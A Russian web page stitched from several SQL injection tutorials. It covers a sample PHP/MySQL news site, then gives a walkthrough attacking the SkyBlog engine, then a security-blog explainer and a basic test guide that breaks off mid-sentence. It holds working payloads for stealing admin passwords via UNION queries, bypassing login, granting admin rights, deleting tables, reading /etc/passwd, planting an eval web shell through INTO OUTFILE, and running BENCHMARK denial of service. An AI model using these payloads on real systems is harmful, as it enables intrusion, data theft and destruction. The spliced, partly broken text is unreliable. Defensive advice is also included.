Пример реализации sql инъекций. Как нам получить нужные нам данные? Получение списка всех баз данных на сервере через SQL-инъекцию

Перевод: Николай Н.


Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.

SQL инъекция (SQL injection ) - уязвимость которая возникает
при недостаточной проверке и обработке данных
, которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.

Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний.

Использование этой уязвимости дает путь к большим возможностям: как то кража, подмена или уничтожение данных, отказ в обслуживании, и т.д.

В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии междуPHP и базой данных MySQL.

Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

CREATE DATABASE `news`;
USE `news`;
#
# таблица новостей
#
CREATE TABLE `news` (
`id` int(11) NOT NULL auto_increment,
`title` varchar(50) default NULL,
`date` datetime default NULL,
`text` text,
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
#добавляем некоторые данные
#
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (1,"first news","2005-06-25
16:50:20","news text");
INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (2,"second news","2005-06-24
12:12:33","test news");
#
# таблица пользователей
#
CREATE TABLE `users` (
`id` int(11) NOT NULL auto_increment,
`login` varchar(50) default NULL,
`password` varchar(50) default NULL,
`admin` int(1) NULL DEFAULT "0",
PRIMARY KEY (`id`)
) TYPE=MyISAM;
#
# добавляем несколько пользователей, одного с правами админа, другого простого
#
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (1,"admin","qwerty",1);
INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (2,"user","1111",0);

А теперь образец PHP кода:

Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет.

как результат "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ at line 1 "

результат "Unknown column "1qwerty" in "where clause" "

при наличии уязвимости должен выдать результат, аналогичный

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE.

Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.

количество "null" должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.

логин текущего пользователя базы данных
http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER (),null,null

имя используемой базы данных
http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE (),null,null

Получение данных из других таблиц:
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users`where `id`=1
Вот таким нехитрым способом узнают пароль или хэш пароля админа.

Если же текущий пользователь имеет права доступа к базе "mysql", без малейших проблем злоумышленник получит хэш пароля админа.

Теперь его подбор это просто вопрос времени.

Поиск

Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:
SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"
$search - слово, которое передается с формы.

Злоумышленник может передать в переменной $search = "# теперь запрос будет выглядеть следующим образом:
SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%"
Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.

Использование параметра ORDER

Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.

параметр ORDER формируется в зависимости от переменной $sort

$search =" /*
$sort = */

Будет сформирован следующий запрос:
SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */ тем самым закомментируется одно из условий и параметр ORDER
Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT....

Как вариант использования уязвимости этого параметра:
SELECT * FROM `users` ORDER BY LENGTH(password); Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в "чистом" виде.

Авторизация

Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:
SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";
где $login и $password это переменные, которые передаются с формы.

Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат.

Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается " OR "1"="1
Или какое-нибудь истинное условие
(1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3)

Соответственно запрос будет сформирован следующим образом:
SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1"; что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в базе данных хэшированные? Тогда проверку пароля просто "отключают", закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и "# тем самым закомментируется проверка пароля.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

как вариант "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"
Таким образом можно пройти авторизацию без знания реального логина. Случай с
SELECT * FROM `users` WHERE `login`="" OR `admin`=1#" AND `password`="12345" позволяет пройти авторизацию с правами админа.

Большой ошибкой является проверка пароля следующим образом:
SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE
"$password" поскольку в этом случае для любого логина подойдет пароль %

INSERT & UPDATE

Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE.

Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ("юзер",
"пароль",0); Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными.

В поле login добавляем юзер", "пароль", 1)# тем самым добавив пользователя с правами админа.
INSERT INTO `users` (`login`, `password`,`admin`) VALUES ("юзер", "пароль", 1)# ,"пароль",0); Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько.

Пример уязвимости в поле login:
$login= юзер", "пароль"),(1,"хакер", "пароль")#
INSERT INTO `users` (`admin`,`login`, `password`) VALUES (0,"юзер",
"пароль"),(1,"хакер", "пароль")#","пароль");

Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.

Подобная ситуация и с UPDATE

Добавление дополнительных полей для изменения:
$login=", `password`="", `admin`="1
Тогда подобный запрос
UPDATE `users` SET `login`="чайник" WHERE `id`=2;
Модифицируется следующим образом:
UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;
Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа.

Или в случае

$login = ", `password`="" WHERE `id` =1#

Логин и пароль админа станут пустыми.

DELETE

тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста.
$id=1 OR 1=1
И запрос
DELETE FROM `news` WHERE `id`=1 OR 1=1; почистит все записи в таблице.

Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.

DELETE FROM `news` WHERE `id`=1 OR 1=1# LIMIT 1;

Работа с файлами через SQL-инъекции.

Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.

Про их опасность можно судить из нижеприведенных запросов:
SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null;
SELECT * FROM `news` WHERE `id`=-1 union select
null,LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Но на этом все беды еще не заканчиваются.
SELECT * FROM `news` WHERE `id`=-1 union select null,"",null,null FROM `news` into outfile
"/home/test/www/test.php";
Вот так записываем файл, который содержит php код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность php кода.

Однако есть несколько условий, благодаря которым эти способы сработают:

Включена привилегия FILE для текущего пользователя базы данных;

Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер

абсолютный путь к файлу;
менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета
может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.

Magic quotes

Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все " та " Которые приходят с $_GET та $_POST.

Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать ". В этом случае помогает функция сhar.
SELECT * FROM `news` WHERE `id`=-1 UNION SELECT
null,char(116,101,115,116),null,null;

DOS через SQL-инъекцию.

Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях:) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. "Не получится взломать, так хоть
завалю" подумает хацкер, набирая функцию BENCHMARK для примера запрос
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));
выполнялся у меня от 12 до 15 секунд. Добавив нолик - 174 секунды. На большее у меня просто не поднялась рука.

Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но...BENCHMARK позволяет вкладывать себя один в один.

Вот так:
SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));
Или даже вот так
SELECT * FROM `news` WHERE
`id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));
Да и количество нулей ограничено разве что "добротой" того, кто их набирает.

Я думаюч то даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.

Итог

На этом все. В этой стстье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко
не полный перечень.
Поэтому важно запомнить несколько правил:

Не доверяйте НИКАКИМ данным, которые приходят от пользователя.

Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP-заголовков. Следует помнить про те, что их легко подменить.

Не стоит надеяться на опцию PHP "magic quotes"

Которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями
базы данных. ($id=(int)$_GET["id"]) или защищены функциями mysql_escape_string или mysql_real_escape_string.

mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.

Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания "удобных" УРЛ-ов, но уж никак не способ защиты от SQL-инъекций.

Отключите вывод информации об ошибках.

Не помагайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок и другой детальной информации - ваш союзник на стадии разработки, и союзник злоумышленника в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи.

Обрабатывайте ошибки.

Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.

Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.

Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc

Не создавайте "супер-пользователя" базы данных.

Предоставляйте только права, необходимые для выполнения конкретных задач.

В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.

Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том "Войны и мира".

Всегда проверяйте количество возвращенных записей после запроса

Почти на 90% сайтов, написанных на php встречается такая логическая ошибка, особенно это можно наблюдать, когдаделается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID - мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в браузер чистую страницу.

Безопасного вам SQL-я;)

Все описанное в статье было выполнено в качестве эксперимента на тестовой базе, владельцем которой является автор статьи. Никакие данные других людей не были уничтожены или изменены.

Автор статьи не несет никакой ответственности за использование способов, описанных в данной статье, поскольку предполагалось, что она была написана с целью информирования о уязвимостях программ, написанных с использованием баз данных MySql.

Приветствую всех! В этой теме я покажу примеры SQL injection. Хочу продемонстрировать, насколько опасны могут быть скрипты и сайты. Если вы вообще в этом нечего не понимаете, пропустите весь текст и насладитесь видеороликами, которые представлены ниже.

Все буду показывать на примере SkyBlog.

Получение логина и пароля админ центра

Чтобы осуществить взлом, надо знать основы SQL запросов и найти уязвимость на сайте.

Пункт 1. Поиск уязвимостей.

На двух страницах SkyBlog есть уязвимость - пропущен фильтр одинарных кавычек

  1. index.php?catid="
  2. wievblog.php?id="

Чтобы изменить стандартный запрос в базу - на свой запрос, мы введем:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,5+--+1

Примечание. Начальный запрос: "SELECT * FROM skyblog_cat WHERE id="$catid" "
Наш запрос: "SELECT * FROM skyblog_cat WHERE id="-1"+UNION+SELECT+1,2,3,4,5+--+1""

catid=-1" - несуществующее значение
UNION - объединение запросов
SELECT ... - собственно наш запрос

На странице index выведет 5, а это значит - будем менять идентичное значение.

Пункт 2. Определение таблиц.

У SkyBlog все таблицы одинаковы, так что можете перейти к 4 пункту.

В основном на всех серверах есть база information_ schema . В ней хранятся все таблицы и поля.
Чтобы найти нужную нам таблицу, изменим запрос:
index.php?catid=-1"+UNION+SELECT+1,2,3,4,+TABLE_NAME+FROM+information_schema.tables+LIMIT+1,+1+--+1

Где TABLE_NAME - название таблиц, а TABLES - таблица, в которой ищем с помощью LIMIT, его перебираем вручную. В конечном итоге мы найдем таблицу skyblog_nastr .

Пункт 3. Поиск существующих полей в таблицах.

index.php?catid=-1"+UNION+SELECT+1,2,3,4,+COLUMN_NAME+FROM +information_schema.columns+WHERE+TABLE_NAME="skyblog_nastr"+LIMIT+2,+1+--+1

В таблице COLUMNS содержатся значения всех полей во всех таблицах, поэтому мы будем искать поля только в skyblog_nastr. Все аналогично пункту 2.

Мы узнаем, что логин хранится в поле name , а пароль в поле pass (причем не в захешированном виде).

Пункт 4. Получаем логин и пароль от админки.

Путем легких манипуляций. Мы с легкостью выводим логин:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,name+FROM+skyblog_nastr+--+1

и пароль:

index.php?catid=-1"+UNION+SELECT+1,2,3,4,pass+FROM+skyblog_nastr+--+1

После чего полученные данные вводим в системе авторизации, которая находится по адресу:

http://example/ admin/

Полный доступ к сайту. Удаленное создание файлов.

Как вы думаете, можно ли загрузить файл через SQL injection? Конечно, нет! Загрузить файл не получиться, зато можно его создать! Воспользуемся запросом INTO OUTFILE . Функция удобна, когда надо выгрузить результаты запроса. Нам лишь надо будет подделать результат запроса и найти путь до сайта.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5+INTO+OUTFILE+"1.php"+--+1

Сервер ошибок не вывел, а это значит - функция сработала. Вот только где создался файл? Чтобы это узнать добавим перед 1.php какую-нибудь левую папку (например: home/1.php).

Если мы не угадали, то выведет ошибку: Can"t create/write to file "\usr\local\mysql-5.1\data\home\1.php" (Errcode: 2)

Она нам пишет, что не может создать/заменить файл, и выводит полный путь от корня сервера.

Собственно нам надо подняться на 4 папки вверх, чтобы попасть в корень сервера, и там уже методом научного тыка, найти путь до сайта.

index.php?catid=-1"+UNION+SELECT+1,2,3,"Hello+world!",5%20INTO+OUTFILE+"../../../../home/example/www/1.txt"+--+1

Примечание . Данный пример показывает, что я выхожу на 4 папки вверх, дальше иду в направлении: home > example > www.

  • htdocs/
  • www/example (и на оборот)
  • public_html/
  • example/html (и на оборот)

Ура! Наш файл находится по адресу: http://example/1.txt

А вывел он нам: 1 2 3 hello world! 5

Управление взломанным сайтом.

Мы смогли удаленно создать файл на сервере, но что нас останавливает добить этот скрипт? Останавливает нас только совесть. Ничего, она со мной в доле. Так что я продолжу издеваться над скриптом.

Нам пригодятся знания PHP.

Пункт 1. Исполняющий скрипт.

Мы знаем путь для создания файла: ../../../../home/example/www/

Сейчас мы создадим скрипт

Eval($_GET[x]);

Примечание. mixed eval (string $code_str)
Исполняет строку, переданную в параметре code_str, как код PHP.

http://example/index.php?catid=-1"+UNION+SELECT+1,2,3,"", 5+INTO+OUTFILE+"../../../../home/example/www/1.php"+--%201

Проверяем существование файла: example/1.php ... Мы создали монстра.

Пункт 2. Исходный код сайта.

Теперь будем управлять сайтом через наш новый скрипт.

$s=file_get_contents ("index.php");
echo nl2br(htmlspecialchars($s));

Примечание. file_get_contents() возвращает содержимое файла в строке

example/1.php?x=$s=file_get_contents+("index.php");+echo+nl2br(htmlspecialchars($s));

Мы получим исходный код главного файла. Там мы найдем уже путь, хост, логин и пароль к MySql

Пункт 3. Создание файла PHP.

Давайте теперь создадим файл на сервере, используя наш новый скрипт.

Код создания файла:

$str = "Hello World!";
$file = fopen ("2.php","w");
fputs ($file, $str);
fclose ($file);

В переменную $str мы будем заносить наш зловредный код.

DDOS базы данных MySQL, используя SQL injection

Запрос для ддоса выглядит так:

SELECT BENCHMARK(300000,md5(current_time))

Это действие сервер выполнить примерно за 1 сек.

SELECT BENCHMARK(300000, BENCHMARK(500000,md5(current_time)))

Я не знаю как долго он это будет делать, но думаю прилично долго

Мы выпустили новую книгу «Контент-маркетинг в социальных сетях: Как засесть в голову подписчиков и влюбить их в свой бренд».

Подписаться

А вы уверены, что ваш сайт находится в безопасности? 45% веб-ресурсов крупнейших российских компаний имеют критические . Прочитав эту статью, вы сможете провести базовую проверку своего веб-сайта на наличие SQL инъекций.

Давайте для начала разберем, что есть безопасность. Безопасность - это состояние защищенности автоматизированной системы, при условии, что риск не превышает допустимых значений. В свою очередь, риск - это произведение ущерба и вероятности. Что же из себя представляет ущерб? Ущерб - количественная оценка нанесенного вреда системе. Вероятность, думаю, всем знакома.

Представляю вам краткий математический обзор: исходя из этих базовых понятий считают математические риски (классы гостайны разделены именно по этим принципам).

Как же это относиться к защите вашего сайта, думаете вы? А вот как: мы с вами прекрасно знаем, что абсолютно нулевой вероятности не существует (т.е. хоть и маленькой вероятностью, но прямо сейчас из монитора может вылезти джин и выполнить 3 ваших желания).

К чему я это говорю? К тому, что точно так же, нет системы которую невозможно взломать, вопрос лишь в ресурсах. И если подходить к делу профессионально, необходимо оценить возможный ущерб от несанкционированного доступа и принять меры, соответствующие вашему ущербу.

Да, мы можем поставить TrueCrypt, зашифровать наши данные и пароли. Настроить двойную аутентификацию и хранить винчестер с этим всем в бункере, защищенном от прямого ядерного удара, но если у нас там всего лишь пароль от “Контакта”, то возможный ущерб несопоставим с нашими средствами защиты (если, конечно, вы не храните во “ВКонтакте” доступы от ваших миллионных счетов в банке).

Теперь, я хочу вам донести информацию об основных уязвимостях веб-сайтов.

Основные методы и взлома сайтов (уязвимости)

  1. SQL - injection;
  2. CSRF;
  3. PHP injection.

Также стоит отметить атаки: с их помощью нельзя получить несанкционированный доступ, но нанести непоправимый ущерб - запросто.

В данной статье мы рассмотрим детально первую уязвимость.

SQL Injection

Теперь нам нужно разобраться, что есть сайт, как он работает в общих чертах. Сайт - программа, в 90% случаев написанная на языке программирования PHP.

Для того чтобы веб-мастерам было удобнее управлять сайтом, вначале двухтысячных начали использовать базы данных (далее БД), где хранится вся информация о зарегистрированных пользователя, об их паролях, естественно, не в открытом виде, но об этом ниже. Кстати, даже то, что вы сейчас читаете, хранится в БД.

Что такое SQL инъекции?

Все очень просто. SQL - это язык общения с БД, а слово Injection переводится как “внедрение”. Иначе говоря, при помощи SQL Injection можно внедрить произвольный SQL-код, который сервер обработает и выдаст ответ.

Как все работает: примеры

БД состоит из таблиц, каждая таблица имеет строки и столбцы, все как в Еxel.

Для наглядности рассмотрим примерную структуру БД на всем знакомом сайте VK.com

Каждый пользователь “ВКонтакте”, естественно, имеет ряд персональных параметров: Имя, Фамилия, e-mail, дата регистрации и прочее. В итоге каждый столбец отвечает за свой параметр.

ID | First_name| Last_name | password | email ....

1 | Pavel | Durov | | ....

2 | Vova | Pupkin | | ....

Скорее всего, вы решите, что у Паши Дурова и Вовы Пупкина очень сложный пароль (аж целых 32 символа!), но, на самом деле, вы ошибаетесь. Что же есть? Это так называемое хэш-значение, результат преобразования хэш-функции. Простым языком - зашифрованный пароль (хоть это не совсем так). Для чего это нужно? Для того чтобы хакер при не смог легко заполучить пароли пользователей. Но и на это есть свои методы. Если пароль зашифрован - это еще не гарантия безопасности.

Давайте представим, что вы (программа) вышли в магазин (БД) и просите продавца (SQL запрос): "Дайте, пожалуйста, одну пачку Мальборо за 100 рублей";

Вот так это будет выглядеть на языке SQL:

SELECT имя-товара FROM универсам WHERE (тип="мальборо" AND цена="100") LIMIT 1

SQL-сервер выдаст ответ на ваш вопрос, а делать вы с ним можете все что угодно. Можете как-то модифицировать эту информацию, посчитать или банально вывести на экран браузера.

Теперь вернемся к SQL Injection, как мы уже знаем, это внедрение произвольного кода в SQL-запрос. То есть уязвимость существует тогда, когда злоумышленник может внедрить свой выполняемый код.

Продолжим. Вот вы прочли Аллена Карра и бросили курить. Теперь вы ходите в магазин за исключительно полезными товарами:) В этот раз, вы пойдете... ну, допустим, за молоком.

Чтобы не забыть, вы записали на бумажке: "Один пакет молока за 50 рублей", но у вас есть друг (хакер), который курит. Он произвел SQL-атаку и теперь надпись гласит: "Один пакет молока за 50 рублей. $ИЛИ одну пачку Мальборо за 100 рублей$"

Вы приходите в магазин и читаете по бумажке: "Дайте, пожалуйста, один пакет молока за 50 рублей или пачку Мальборо за 100"

SELECT имя-товара FROM универсам WHERE (тип="молоко" AND цена="50") OR (тип="мальборо" AND цена="100") LIMIT 1

Продавец подумал, что ему незачем идти до холодильника с молоком, когда сигареты лежат рядом, и отдал их. Теперь вы идете с магазина, а ваш друг только этого и ждет, когда вы принесете ему сигареты.

Вот и пример SQL атак. На сайтах это выглядит иначе, конечно же. Сайт запрашивает с БД одну информацию, а с помощью SQL-инъекции можно получить, например, логины и пароли.

Как же происходит взлом?

Чтобы четко понимать, что именно нужно делать, программа берет SQL-запрос в кавычки. Приведу реальный пример. Допустим, мы хотим выяснить, сколько лет нашему другу, зная его имя и отправляя в переменную $_GET[‘name’]

Выполняем запрос:

$result = mysql_query("SELECT age FROM myfriends WHERE name=$_GET[‘name’]");

Например, мы хотим узнать сколько лет Насте хоть это и неприлично, но БД все нам расскажет:)

В программе окажется код:

Mysql_query("SELECT age FROM myfriends WHERE name="Настя’");

Рассмотрим чуть детальнее вот этот кусочек. у нас есть 2 пары кавычек.

Первая пара обозначает сам запрос целиком.

"SELECT age FROM myfriends WHERE name="Настя’"

Вторая пара обозначает имя. Настя.

Так вот, а что если злоумышленник напишет не Настя, а Настя’ , с кавычкой в конце? Он нарушит синтаксис функции mysql_quevery. И SQL-сервер выдаст закономерный ответ - ошибку (потому как не сможет обработать ‘ , которая не является функцией).

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Настя"

Кстати, совсем забыл вам рассказать про оператора для комментирования. Один из них - это два тире, которые выглядят вот так: “--”. Что же случится, если мы передадим Настя’ -- ?

Правильно. Все последующие записи закомментируются, т.е. закомментируется кавычка для закрытия функции mysql_query(). Теперь ее роль будет выполнять та кавычка, которую мы сами и написали. Верно, сейчас мы подходим к самому интересному. Таким способом мы получили доступ для свободного обращения к базе данных. Я привел в пример самую простую ошибку программиста.

В языках программирования есть разные типы данных, есть строки (String), есть числа (Integer), в зависимости от этого нужно правильно строить SQL-инъекцию. Кстати, “1” может быть как строкой, так и целым числом.

Это лишь край вершины айсберга, есть десятки способов реализации угроз типа SQL-инъекции.

Пример взлома сайта

Действительно ли все так страшно, как вам рассказывают? Не могу не приложить пример. Здесь мы наблюдаем интернет-магазин, который с помощью SQL уязвимости вывел нам информацию о версии SQL-сервера. Можно с легкостью вывести информацию и о логинах/паролях, но мы рассматриваем не методы взлома и деструктивного воздействия, а напротив, средства защиты (кстати говоря, администрация сайта уведомлена о найденной уязвимости). Иметь уязвимость в интернет-магазине - недопустимо, а если он еще и карты принимает - неприемлемо. Злые хакеры (не мы) могут получить доступ к сайту и записывать данные о дебетовых/кредитных картах покупателей, а затем использовать информацию в своих целях. Поэтому стоит очень внимательно относиться к безопасности как при создании веб-сайта, так и при покупках в сети.

Это лишь один из путей хакеров при монетизации сайтов. Их десятки: вирусы, дорвеи, редиректы, дополнительная реклама, невидимая sape на вашем сайте… и многое другое… Если вам это будет интересно, я с радостью напишу подробную статью на этот счет, пишите в комментарии.

Мы с вами пришли к выводу, что имея более-менее значимый проект, нельзя допускать уязвимость. Иначе в самый неподходящий момент это может привести к тяжелым последствиям. Хорошо, с этим разобрались, а что же делать? Для профессионального аудита стоит обратиться к профильным компаниям, но проверить элементарные SQL-уязвимости теперь вы можете и самостоятельно. Зачастую хакеры проверяют уязвимости автоматически, и, закрыв базовые уязвимости, вы сможете спасти свой сайт от взора хакера.

Что делать если мой сайт взломали?

Взломав сайт и используя информацию в своих целях, хакеры оставляют backdoors (скрытые точки входа хакера). Это могут быть файлы с любым расширением, даже jpg, но в них будет закодирован php-код для проникновения в систему. В наше время существует множество php-антивирусов, программ, которые сканируют вашу файловую систему сайта на предмет подозрительных файлов. Могу посоветовать бесплатное ПО AI-Bolit.

Для проверки сайта на наличие нужно загрузить скрипт-антивирус на ваш хостинг и запустить его, остальное он сделает за вас. После чистки бэкдоров необходимо закрыть брешь, через которую хакер к вам попал. Обновите движок, плагины, смените пароли, можете обратиться к хостеру, чтобы он выдал лог-файл, по которому можно понять через что именно был получен доступ. После закрытия канала проникновения и удаления бэкдоров, все должно быть хорошо, но каждый случай индивидуален и требует персонального подхода.

Как защитить свой сайт от взлома: базовая проверка на уязвимости SQL типа

/index.php?id=410

Т.е. любой URL, который содержит входные параметры. Здесь переменная $_GET[‘ID’] содержит значение 140, которое, возможно, передается серверу БД. Т.е. для базовой проверки вам нужно будет попробовать вставить кавычку и посмотреть, что выдаст в ответ ваш сайт.

Защита от SQL инъекций

Самое главное - фильтрация входящих данных, например, в параметрах поиска, при выборе номера страницы и прочее.

Выделим основные пункты для защиты вашего веб-сайта.

*White list - лучший метод защиты от SQL-инъекций. Суть заключается в том, что в коде программы прописываются разрешенные для передачи SQL-серверу значения параметров, что практически полностью исключает возможность взлома веб-сайта с помощью SQL-инъекций.

Поздравляю! Вы дочитали статью до конца! Думаю, начинающим программистам эта статья окажется хоть капельку полезной.

Владельцы сайтов, надеюсь, не сильно испугались. Знайте, что главное - сотрудничать с хорошими компаниями, а не обращаться к неизвестным личностям.

Кстати, у нас полно статей-инструкций, в которых много практических советов с историей многолетней практики. Конечно, мы думали над тем, чтобы наладить тематическую рассылку, но пока не успеваем. Так что удобней всего

SQL инъекция - это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.

Как вычислить уязвимость, позволяющую внедрять SQL инъекции?

Довольно легко. Например, есть тестовый сайт test.ru . На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1 . Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).

Изменяем GET запрос на?detail=1" или?detail=1" . Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1 " или на test.ru/?detail=1 ".

Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

Пример ошибки, возникающей при проверке уязвимости

Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые - сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.

Практика. Варианты взлома сайта с уязвимостью на SQL внедрения

Итак, у нас есть уже упоминавшийся сайт test.ru . В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

Список новостей, разрешённых к публикации

При обращении к странице test.ru/?detail=4 , которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации.

Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

Тестирую следующие варианты:
test.ru/?detail=4+OR+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости

Разбор примера изнутри

За получение детального описания новости отвечает блок кода:
